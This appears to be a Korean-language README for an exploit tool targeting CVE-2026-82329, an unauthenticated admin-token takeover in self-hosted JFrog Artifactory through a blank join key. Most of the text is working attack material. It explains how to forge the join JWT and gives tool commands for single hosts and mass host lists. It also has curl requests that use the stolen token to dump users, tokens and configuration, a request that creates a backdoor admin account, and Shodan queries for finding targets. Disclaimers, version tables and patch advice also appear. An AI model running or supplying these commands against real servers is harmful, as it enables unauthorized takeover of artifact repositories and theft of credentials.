
CVE-2026-82329에 대한 익스플로잇으로, 자체 호스팅 JFrog Artifactory의 인증되지 않은 인증 우회를 통해 빈 조인 키로 관리자 토큰을 탈취할 수 있습니다.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory(자체 호스팅) 인증 없는 join-JWT
→ SERVICE admin 토큰 → 플랫폼 applied-permissions/admin 액세스 토큰.
CVSS 9.8 · CWE-287 · CISA KEV · 야생에서 악용됨.
승인된 테스트 전용입니다. 소유하지 않았거나 서면 승인을 받지 않은 시스템에 대해 실행하지 마십시오.
기본 자체 호스팅 설치 환경은 빈 조인 키를 신뢰합니다.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
클라우드 호스팅 JFrog는 패치되었습니다. 자체 호스팅만 해당됩니다.
액세스 수정 라인: 7.191.14.
# 표준 라이브러리만 사용 — pip 불필요
python3 artifactory.py -h
TLS 검증은 기본적으로 꺼져 있습니다(자체 서명 Artifactory는 정상입니다).
추가 플래그 없음.
# 단일 호스트
python3 artifactory.py -u https://artifactory.example.internal:8082
# 발급된 관리자 토큰 출력
python3 artifactory.py -u https://TARGET:8082 --token
# 목록 / 파이프라인 (httpx, shodan, subfinder 스타일)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Pro / Enterprise 전용 — 로컬 관리자 영구화(파괴적)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (patched / no blank key)
[FAIL] https://dead:8082 unreachable
| 태그 | 의미 |
|---|---|
VULN | 빈 조인 수락 + 관리자 증명( 또는 토큰 목록 = 200) |
--token은 Bearer 값을 출력합니다. 그것이 바로 탈취입니다 — 로그인 사용자는 선택 사항입니다.
--create-admin은 OSS에서 종종 400을 반환합니다(PUT /artifactory/api/security/users는 Pro 전용).
관리자 토큰은 여전히 작동합니다. 유효한 발견에 영구화는 필요하지 않습니다.
TARGET을 교체하고 --token의 토큰을 붙여넣으세요.
TOKEN='eyJ...' # --token의 출력
B='https://TARGET:8082'
# 버전 / 에디션
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# 사용자 디렉토리 (관리자)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# 인스턴스의 모든 액세스 토큰
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# 저장소 인벤토리
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
기타 유용한 관리자 전용 읽기(승인 없이 쓰지 마십시오):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: 플랫폼 → 액세스 토큰으로 로그인하거나 모든 요청에
Authorization: Bearer <token>을 보내세요.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
비밀번호 정책 400 ≠ 취약하지 않음. 토큰에는 이미 aud=*가 있습니다.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# 일반 포트
8081 8082 8040 8046 443
도구는 -u에서 /artifactory /ui /webapp을 제거하고 동일한 오리진의 Access 라우터와 통신합니다.
--create-admin이 발견 사항이 아닌 이유영향을 다음과 같이 보고하세요: 인증 없는 플랫폼 관리자 토큰.
사용자 생성은 후속 작업이지 근본 문제가 아닙니다.
이 저장소는 테스트 권한이 있는 시스템을 위한 검증기입니다.
제3자 인프라에서 토큰 발급, 사용자 목록 조회 또는 계정 생성은 허가 없이 불법입니다.
패치: 브랜치에 맞는 수정 빌드로 업그레이드하고, 실제 조인 키를 설정하고, 공개 후 발급된 토큰을 교체하세요.
mitsec · @ynsmroztas
| 단계 | 요청 | 결과 |
|---|
| 1 | HS256 조인 JWT 위조(iat 신선, skip_node_registration=true) | 알려진 HMAC 비밀 |
| 2 | POST /access/api/v1/registry/join | 201 SERVICE 토큰 scp=admin |
| 3 | POST /access/api/v1/tokens | 200 관리자 토큰 scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | 관리자 전용 증명(인증 없음 = 401) |
| 브랜치 | 취약 ≤ | 수정 |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
configurationSAFE | 조인 거부 — 패치됨, 추가 조인 키 설정됨, 또는 Access가 아님 |
INFO | 조인 발급됨, 증명 엔드포인트가 200이 아님 — 수동 검사 필요 |
FAIL | 네트워크 / 시간 초과 |
| 표면 | OSS | Pro / Enterprise |
|---|
| 관리자 액세스 토큰 발급 | 예 | 예 |
| 구성 / 토큰 목록 / 저장소 읽기 | 예 | 예 |
PUT /artifactory/api/security/users | 400 Pro 전용 | 200/201 |
POST /access/api/v2/users | 버전 / 정책 종속 | 201 |